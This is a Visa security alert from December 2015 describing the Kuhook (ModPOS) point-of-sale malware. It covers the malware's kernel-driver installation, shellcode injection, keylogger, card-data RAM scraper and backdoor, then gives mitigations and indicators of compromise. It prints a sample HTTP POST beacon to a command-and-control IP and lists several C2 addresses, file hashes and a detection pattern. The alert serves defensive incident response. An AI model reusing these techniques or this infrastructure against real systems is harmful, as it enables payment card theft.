VISA SECURITY ALERT

December 2015

"KUHOOK" POINT OF SALE MALWARE

Distribution: Merchants, Acquirers
Who should read this: Information security, incident response, cyber intelligence staff

Summary

Kuhook (from the ModPOS malware family) is a variation of malware targeting Point of Sale (POS) systems designed to run on Microsoft Windows. It utilizes keylogger and memory scraping/parsing functionality. The malware is suspected to be privately owned and used, meaning that it is not currently distributed through online criminal forums and therefore is not known to be widely available. To date, Visa has observed the malware on two previous occasions but we are not aware of any current victims of Kuhook at this time. However, we believe with high confidence the malware will be modified and used to target additional merchants and other entities processing payment card data.

The malware is a set of kernel mode device drivers written for the Window XP platform and packed with a piece of software that compresses the malware file, thus making all the original code and data unreadable. Once unpacked, the malware injects shellcode into processes and executes using system calls. Injected shellcode functions primarily as a persistence mechanism, provides a backdoor capability, acts as a keylogger, and steals payment card data. It is some of the most sophisticated and difficult to detect payment card stealing malware Visa has ever seen.

Distribution and Installation

Since the Kuhook malware is private at the moment and thought to be in use by a limited number of criminal actors (or a single criminal actor), delivery and infection methods are not well known. It installs itself as an unsigned device driver on Windows XP. The packed driver is loaded into kernel space and then unpacked and decrypted. The unpacked driver then makes a copy of itself in kernel space. It launches a new system thread using the newly unpacked and decrypted driver. The driver does not appear in the list of loaded kernel modules and thus is hidden on the system.

Once running, the driver injects shellcode into the following user processes:

- Crss.exe
- Winlogon.exe
- Explorer.exe
- Iexplore.exe
- Credit.exe
- Services.exe

Malware capability

The malware functions primarily as a backdoor (upload/download capability), a keylogger, and payment card stealing RAM-scraper. Kuhook features two distinct data-stealing mechanisms: a keylogger and a memory scanner designed to target POS systems, specifically POS controllers, payment application software and ultimately, payment data including Primary Account Number (PAN), expiration date and Cardholder Verification Value (CVV).

Backdoor / Downloader

The backdoor component's main function is to download and update or introduce additional malware. A driver module is used to install the backdoor by injecting shellcode into running processes for iexplore.exe, firefox.exe or svchost.exe. The shellcode communicates over HTTP to a hardcoded IP address (see Technical Indicators of Compromise (IOCs) below. It issues an HTTP POST (figure 1) request to the hard-coded IP, then downloads an encoded file which is used by the kernel driver to decode and execute additional shellcode embedded in an HTML comment.

```
POST /robots.txt HTTP/1.0
Accept: */*
Content-Length: 32
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: 109.72.149.42
Pragma: no-cache

[POST DATA]
```

Figure 1

Keylogger

The keylogger driver installs itself by injecting shellcode into explorer.exe. It enumerates all input devices on the infected system followed by registering a new input device (itself). At that point, the malware operates very much like we would expect: intercepts and records keystrokes on the system where it's installed and operating. Keystrokes are logged on the local system and stored in *c:\Windows\Installer\{GUID}_[random_characters].bin.* Each instance of the malware output file is encrypted with a unique AES-256 bit encryption key. At the time this variant was observed, the encryption key was unprotected in the system's memory, allowing it to be obtained by examining the *explorer.exe* application's memory space.

RAM Scraper

The memory scanner searches through running processes on the system for the payment application. The .sys file created that perform the scraping is polymorphic in nature and creates a random string of characters for a file name in each iteration. Given that the payment executable name was hard-coded in most recently observed malware sample, Visa believes this malware is customized for specific merchants and payment applications by its author. Once the payment application process is identified by the malware, it scans that process's memory for track 2 data. When track 2 data is found, the malware extracts it and enters it into a log on the local system. Extracted track 2 data is stored in the *c:\Windows\Installer\{GUID}_[random_characters].bin* file. Each instance of the malware output file is encrypted with a unique AES-256 bit encryption key (unprotected in memory as with the keylogger module above).

Mitigation

Visa requires participants in the payment system to comply with all PCI-DSS requirements and recommends the following security controls to reduce the risk of exposure to Kuhook:

- **Install application whitelisting on Point of Sale systems.** In addition to anti-virus and anti-malware security, application whitelisting programs are designed to only allow known and trusted executables to be installed and operate. This technology makes it much more difficult to introduce malware onto POS systems.

- **Closely monitor activity on Point of Sale systems.** This malware is very difficult to detect, however it does leave signs that should cause alarm. Be aware of those signs and investigate all suspicious activity on the POS.

    - Creates new files in c:\Windows\Installer directory
    - Establishes communication to external IP addresses over HTTP
    - May impact the functioning of the POS application (application crashes)

- **Control the Windows Administrator account.** Data-stealing malware (like Kuhook) requires Administrator-level permission in order to perform memory-scanning and key logging functions. Make it more difficult for malware to gain Administrative privileges.

    - Assign a strong password for all accounts on the POS system.
    - Create a unique local Administrator password for each and every POS system.
    - Do not allow users to be local Administrators on a POS system.
    - Change password frequently (at least every 90 days).

- **Ensure the POS system functions as a single purpose machine**. To reduce the risk of malicious software infection, disallow all applications and services (i.e. Internet browsers, email clients) that are not directly required as part of the POS's core functionality in processing payments.

- **Keep operating system patch levels up to date**. For Windows, this means ensuring Windows Update is functioning and automatically applying monthly security patches. Harden operating systems according to industry guidelines.

- **Restrict permissions on Windows file sharing or disable file sharing altogether.** Visa recommends disabling file sharing on POS systems. Microsoft has published instructions on how to disable simple file sharing and set permissions on shared folders.

Indicators of Compromise (IOCs)

IOC	Type	Notes
91.207.61.208	Destination IP address	Command and control server
109.72.149.42	Destination IP address	Command and control server
130.0.237.22	Destination IP address	Command and control server
5.187.1.198	Destination IP address	Command and control server
ABA833D11679DFEBC95060BD3C557853	File MD5 hash	Malicious driver file
215BDF185C3B35503923FCF8872C75FC	File MD5 hash	Malicious driver file
F9C4E2D38DF8A87F545B6F5BA1F8691B	File MD5 hash	Malicious driver file
F21403B6CF7516B37EFFC17F410CED6F	File MD5 hash	Malicious driver file
6FBD31E7B5A31F5F75BD0D858D3327B5	File MD5 hash	Malicious driver file
68F40544ACD5568BD782434CA0F5AEE5	File MD5 hash	Malicious backdoor file
540DF6480B393BFA39D2E7CEC608EA12	File MD5 hash	Password harvesting file
%SystemRoot%\system32\drivers	Install path	Malware install path
C:\windows\Installer\[random characters].bin	Path to log files	Keystroke logger, track 2 data logs
C:\windows\TEMP\[random characters].bin	Path to log files	Keystroke logger, track 2 data logs
C:\windows\TEMP\[random characters].temp	Path to log files	Encrypted status logs
HTTP POST /robots.txt	Network indicator	Network traffic to the /robots.txt POST request shows patterns in the request headers and server response that are consistent across all samples. • The request is to a hard-coded IP address over HTTP • The user-agent string is consistent throughout the samples previously listed • The server returns a 405 "Method Not Allowed" response Following the HTML closing tag is a series of spaces (hexadecimal value, "20") followed by &#60!-- which serves as a marker for where the encrypted data stream begins.

Additional Resources

This malware targets Windows-based POS systems, including Windows XP. It should be noted that Microsoft's support ended in **April 2014 for Windows XP** and will end in **January 2016 for Windows XP Embedded** operating systems. POS applications built on these legacy have increased risk due to their lack of ongoing support and security patches.

Additional indicators and analysis found in iSight Partners "ModPOS" malware intelligence report, dated October 2015

To report a data breach, contact Visa Fraud Control:

- Asia Pacific Region, Central Europe/Middle East/Africa Region: VIFraudControl@visa.com
- Canada Region, Latin America Region, United States: USFraudControl@visa.com

For more information, please contact Visa Risk Management: cisp@visa.com